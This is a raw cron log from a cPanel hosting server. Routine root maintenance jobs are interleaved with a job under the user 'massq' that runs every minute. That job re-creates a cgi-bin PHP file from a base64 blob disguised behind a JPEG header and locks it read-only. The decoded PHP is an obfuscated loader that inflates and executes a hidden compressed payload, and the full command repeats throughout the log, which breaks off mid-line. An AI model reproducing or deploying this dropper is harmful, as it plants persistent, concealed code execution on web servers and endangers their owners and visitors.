Sep  7 02:33:01 server CROND[22444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:34:01 server CROND[22987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:34:01 server CROND[22988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:34:01 server CROND[22989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:35:01 server CROND[23491]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:35:01 server CROND[23493]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:35:01 server CROND[23494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:35:01 server CROND[23497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:35:01 server CROND[23500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:35:01 server CROND[23504]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 02:35:01 server CROND[23503]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:35:01 server CROND[23501]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 02:35:01 server CROND[23499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:36:01 server CROND[24384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:36:01 server CROND[24383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:36:01 server CROND[24385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:37:01 server CROND[24745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:37:01 server CROND[24746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:37:01 server CROND[24747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:38:01 server CROND[25125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:38:01 server CROND[25126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:38:01 server CROND[25127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:39:01 server CROND[25502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:39:01 server CROND[25503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:39:01 server CROND[25505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:39:01 server CROND[25504]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 02:40:01 server CROND[25982]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:40:01 server CROND[25984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:40:01 server CROND[25986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:40:01 server CROND[25994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:40:01 server CROND[25993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:40:01 server CROND[25996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:40:01 server CROND[25997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:40:01 server CROND[25995]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:41:01 server CROND[26817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:41:01 server CROND[26818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:41:01 server CROND[26819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:42:01 server CROND[27194]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 02:42:01 server CROND[27195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:42:01 server CROND[27197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:42:01 server CROND[27196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:43:01 server CROND[27567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:43:01 server CROND[27569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:43:01 server CROND[27570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:44:01 server CROND[27942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:44:01 server CROND[27943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:44:01 server CROND[27944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:45:01 server CROND[28320]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:45:01 server CROND[28322]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:45:01 server CROND[28324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:45:01 server CROND[28325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:45:01 server CROND[28329]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:45:01 server CROND[28328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:45:01 server CROND[28331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVK